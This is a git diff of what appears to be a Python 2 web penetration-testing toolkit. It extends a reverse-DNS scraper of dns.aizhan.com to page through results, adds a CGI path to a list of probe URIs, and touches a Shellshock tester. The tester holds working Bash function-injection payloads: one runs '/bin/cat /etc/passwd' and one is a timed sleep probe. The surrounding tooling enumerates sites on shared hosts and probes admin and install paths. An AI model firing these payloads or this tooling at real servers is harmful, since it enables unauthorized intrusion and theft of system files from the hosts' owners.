diff --git a/gather.py b/gather.py index bea7b27..f8ebaed 100755 --- a/gather.py +++ b/gather.py @@ -87,15 +87,21 @@ def queryRDNS_old(domain): def queryRDNS(domain): hostInfos = socket.gethostbyname_ex(domain) #r = (hostname, aliaslist, ipaddrlist) for ipaddr in hostInfos[2]: - try: - response = urllib2.urlopen('http://dns.aizhan.com/%s/' % (ipaddr)) - text = response.read() - tree = etree.HTML(text) - nodes = tree.xpath(r"//td[@class='dns-links']/a/@href") - for node in nodes: - print node - except Exception, e: - print e + + print '[IP Address: ' + ipaddr + ']' + # TODO: 加入翻页代码 + for i in range(5): # 最多5页,需要更多到网页上去看 + try: + response = urllib2.urlopen('http://dns.aizhan.com/%s/%d/' % (ipaddr, i)) + text = response.read() + tree = etree.HTML(text) + nodes = tree.xpath(r"//td[@class='dns-links']/a/@href") + if len(nodes) == 0: + break + for node in nodes: + print node, getTitle(node) + except Exception, e: + print e def toStr(l): diff --git a/tester/shock.py b/tester/shock.py index 9cf1716..c211b49 100644 --- a/tester/shock.py +++ b/tester/shock.py @@ -15,7 +15,7 @@ EXPLOIT1 = '() { :;};a=`/bin/cat /etc/passwd`;echo $a' SLEEP_TIME = 7 -EXPLOIT2 = '() { :;}; /bin/sleep %s' % SLEEP_TIME +EXPLOIT2 = '() { :;}; /bin/sleep %d' % SLEEP_TIME #env -i X='() { (a)=>\' bash -c 'echo date'; cat echo #无漏洞的输出: diff --git a/uris.txt b/uris.txt index a165576..bf2e8aa 100644 --- a/uris.txt +++ b/uris.txt @@ -1,3 +1,4 @@ /uc_server/control/admin/db.php /source/plugin/myrepeats/table/table_myrepeats.php /install/include/install_lang.php +/cgi-bin/test-cgi diff --git a/utils/__init__.py b/utils/__init__.py index a9242a2..7f5167f 100755 --- a/utils/__init__.py +++ b/utils/__init__.py @@ -1 +1 @@ -__all__ = ['webutils', 'google'] +__all__ = ['webutils', 'google', 'crawler'] diff --git a/utils/webutils.py b/utils/webutils.py index a3163f1..78365c4 100644 --- a/utils/webutils.py +++ b/utils/webutils.py @@ -129,7 +129,7 @@ def getPageTitle(opener, url): return '' try: - if url[:7] != 'http://': + if url[:7] != 'http://' and url[:8] != 'https://': url = 'http://' + url req = urllib2.Request(url) setupRequest(req)